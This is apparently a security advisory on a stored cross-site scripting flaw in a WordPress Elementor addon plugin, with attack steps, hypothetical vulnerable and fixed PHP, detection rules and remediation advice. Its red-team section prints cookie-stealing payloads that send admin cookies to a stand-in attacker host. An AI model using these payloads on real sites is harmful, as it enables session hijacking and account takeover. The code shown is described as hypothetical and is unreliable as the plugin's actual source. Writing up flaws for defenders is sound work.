CVE-2024-35666

Executive Summary

CVE-2024-35666 is a Stored Cross-Site Scripting (XSS) vulnerability in the Themesflat Addons For Elementor WordPress plugin, affecting versions up to and including 2.1.2. This flaw allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into web pages via the plugin’s widget inputs. When an administrator views the compromised page, the malicious script executes in their browser session, potentially leading to session hijacking, credential theft, or defacement.

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation) and carries a CVSS v3.1 score of 6.5 (Medium). The attack vector is network-based, requires low complexity, and demands user interaction (the admin must view the page). No public exploit code or proof-of-concept is currently available, but the risk is elevated due to the widespread use of Elementor and the lack of a vendor patch.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress ecosystem. The supply chain risk is moderate: if the plugin is installed from the official repository, the malicious code is not introduced at the package level, but the vulnerability can be exploited once the plugin is active. Administrators should treat this as a WordPress ecosystem issue and not blame the underlying web server (Apache/Nginx).

CVSS Breakdown & Threat Level

Threat Level: Medium. The requirement for authenticated access and user interaction reduces the immediate risk, but the stored nature of the XSS means the payload persists until manually removed. In a multi-tenant WordPress environment, a contributor could compromise an admin session.

Deep Dive & Mechanics

The vulnerability exists in the Themesflat Addons For Elementor plugin, which extends the Elementor page builder with custom widgets. The plugin fails to sanitize user-supplied input before storing it in the WordPress database and later rendering it in the admin dashboard or frontend. Specifically, the plugin’s widget fields (e.g., title, description, or custom HTML) are not properly neutralized, allowing an attacker to inject <script> tags or event handlers.

Attack Flow:

1. An attacker with contributor-level access creates or edits a page/post using a vulnerable Themesflat widget.
2. The attacker inserts a malicious payload into an input field, e.g., <script>alert(document.cookie)</script>.
3. The plugin stores the payload in the wp_postmeta table without sanitization.
4. When an administrator views the page (either in the admin panel or frontend), the payload executes in the admin’s browser.
5. The attacker can then steal session cookies, perform actions on behalf of the admin, or deface the site.

The vulnerability is stored (persistent) because the payload remains in the database until manually deleted or the plugin is updated.

Vulnerable vs. Patched Code

Since no official patch exists, the following is a hypothetical fix based on standard WordPress security practices.

Vulnerable Code (themesflat-addons-for-elementor/includes/widgets/class-widget.php):

// No sanitization before saving
$title = $_POST['title'];
update_post_meta($post_id, '_themesflat_title', $title);

Patched Code (hypothetical):

// Sanitize input before saving
$title = sanitize_text_field($_POST['title']);
update_post_meta($post_id, '_themesflat_title', $title);

Additionally, output should be escaped:

echo esc_html(get_post_meta($post_id, '_themesflat_title', true));

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• WordPress instance with Themesflat Addons For Elementor <= 2.1.2 installed and active.
• Contributor-level account credentials.

Steps:

1. Log in as a contributor.
2. Create a new page or edit an existing one.
3. Add a Themesflat widget (e.g., "Themesflat Heading").
4. In the widget’s title field, inject the payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save/publish the page.
6. Wait for an administrator to view the page. The script will execute, sending the admin’s cookies to the attacker’s server.

Alternative payload (stealthy):

<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">

Blue Team (Defender)

Detection:

• Monitor for unusual page/post edits by contributor-level users.
• Look for <script> or <img onerror> patterns in post content.
• Use the YARA and Sigma rules below.

Mitigation:

• Disable the plugin until a patch is available.
• Restrict contributor roles from using Elementor widgets (via user role editor plugin).
• Implement a Web Application Firewall (WAF) rule to block XSS payloads in POST data.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/themesflat-addons-for-elementor/ (entire plugin directory)
• Database: Suspicious entries in wp_postmeta with meta_key like _themesflat_* containing JavaScript.
• Network: Outbound requests to attacker-controlled domains from the WordPress server.
• Logs: WordPress audit logs showing page edits by contributor users with unusual content.

Detection Engineering

YARA Rule

rule CVE_2024_35666_Themesflat_XSS {
    meta:
        description = "Detects stored XSS payloads in Themesflat Addons For Elementor"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-35666"
    strings:
        $payload1 = /<script[^>]*>.*?<\/script>/is
        $payload2 = /<img[^>]+onerror\s*=/is
        $payload3 = /<svg[^>]+onload\s*=/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-35666 - Stored XSS via Themesflat Addons For Elementor
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS payloads in WordPress post content
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        post_content|contains:
            - '<script>'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-35666 - Stored XSS Payload Exfiltration"; flow:to_server,established; content:"/steal?cookie="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Audit all pages/posts created by contributor users for malicious content.
3. Change all admin passwords and invalidate existing sessions.

Long-term Fix:

• The vendor must release a patched version that sanitizes input and escapes output.
• Until then, consider replacing the plugin with an alternative.

Workaround:

• Use a WordPress security plugin (e.g., Wordfence) to block XSS payloads.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert